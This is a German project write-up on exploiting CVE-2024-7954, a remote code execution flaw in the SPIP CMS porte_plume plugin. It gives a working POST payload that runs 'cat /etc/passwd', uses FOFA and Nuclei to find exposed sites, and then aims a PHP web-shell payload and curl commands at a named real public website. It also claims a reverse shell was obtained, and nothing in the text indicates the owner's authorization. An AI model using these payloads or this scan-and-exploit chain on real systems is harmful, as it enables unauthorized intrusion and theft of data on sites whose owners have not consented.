
Exploitation of a Remote Code Execution vulnerability- (CVE-2024-7954)
Projekt zum Testen von Softwareschwachstellen Eingereicht von: Shivansh Kuntal
Dieses Projekt demonstriert die Ausnutzung von CVE-2024-7954, einer kritischen Remote Code Execution (RCE)-Schwachstelle, die SPIP CMS über das Plugin porte_plume betrifft.
Die Schwachstelle ermöglicht es nicht authentifizierten Angreifern, durch präparierte HTTP-POST-Anfragen beliebigen PHP-Code auf dem Zielserver auszuführen.
Die Tests wurden in einer kontrollierten lokalen Umgebung durchgeführt und später auf reale Erkundungen mit FOFA und Nuclei ausgeweitet.
Eine anfällige Version von SPIP CMS, von der bestätigt wurde, dass sie von CVE-2024-7954 betroffen ist, wurde lokal auf einem Apache-Server bereitgestellt, wobei ein GitHub-Repository mit bekannten anfälligen Versionen verwendet wurde.
Verwendete Tools
Die auf localhost laufende SPIP-Startseite bestätigte die erfolgreiche Installation und diente als Ziel für die Ausnutzung.
Das porte_plume-Plugin (vor den Versionen 4.30-alpha2, 4.2.13, 4.1.16) ist aufgrund unzureichender Bereinigung von benutzereingegebenen Daten anfällig. Angreifer können PHP-Code in bestimmte Formularfelder einschleusen, der später vom Server gerendert und ausgeführt wird.
Auswirkungen: Nicht authentifizierte Remote Code Execution Schweregrad: Kritisch Angriffsvektor: Netzwerk / HTTP POST
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{hostname}}
Content-Type: application/x-www-form-urlencoded
data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB
Eine FOFA-Abfrage wurde verwendet, um öffentliche SPIP-Installationen aufzulisten:
app="SPIP"
FOFA gab mehrere Metadatenpunkte zurück:
targets.txt für Batch-Scans.Ein geeigneter realer Host wurde identifiziert:
http://www.comite-tricolore.org/
Da die manuelle Ausnutzung langsam ist, wurde Nuclei verwendet, um die Erkennung von CVE-2024-7954 über eine große Anzahl von Zielen zu automatisieren.
nuclei -l targets.txt -t CVE-2024-7954.yaml
-l targets.txt lädt FOFA-Ergebnisse-t lädt benutzerdefinierte PoC-VorlageHinweis: Die erste Vorlage ergab keine Übereinstimmungen.
nuclei -l targets.txt -t cves/
Dieser Scan identifizierte ein reaktionsfähiges Ziel:
http://www.comite-tricolore.org/
Besuchen Sie:
http://www.comite-tricolore.org/spip.php?page=contact
Bestätigt:
Verwenden Sie Burp Suite oder curl, um den Parameter message zu modifizieren:
Payload
<?php system($_GET['cmd']); ?>
Besuchen Sie:
http://www.comite-tricolore.org/spip.php?page=contact&cmd=id
Oder mit curl:
curl "http://www.comite-tricolore.org/spip.php?page=contact&cmd=id"
Ausgabe bestätigte die entfernte Befehlsausführung.
Ein präparierter Payload ermöglicht einen Reverse-Shell-Callback, der Folgendes erlaubt:
whoamilsDieses Projekt demonstriert die vollständige Ausnutzungskette für CVE-2024-7954, von der Erkundung bis zum Erhalt einer interaktiven Shell.
Diese Schwachstelle verdeutlicht, wie ein scheinbar harmloses Textformatierungs-Plugin bei unsachgemäßer Sicherung zu einer vollständigen Systemkompromittierung führen kann.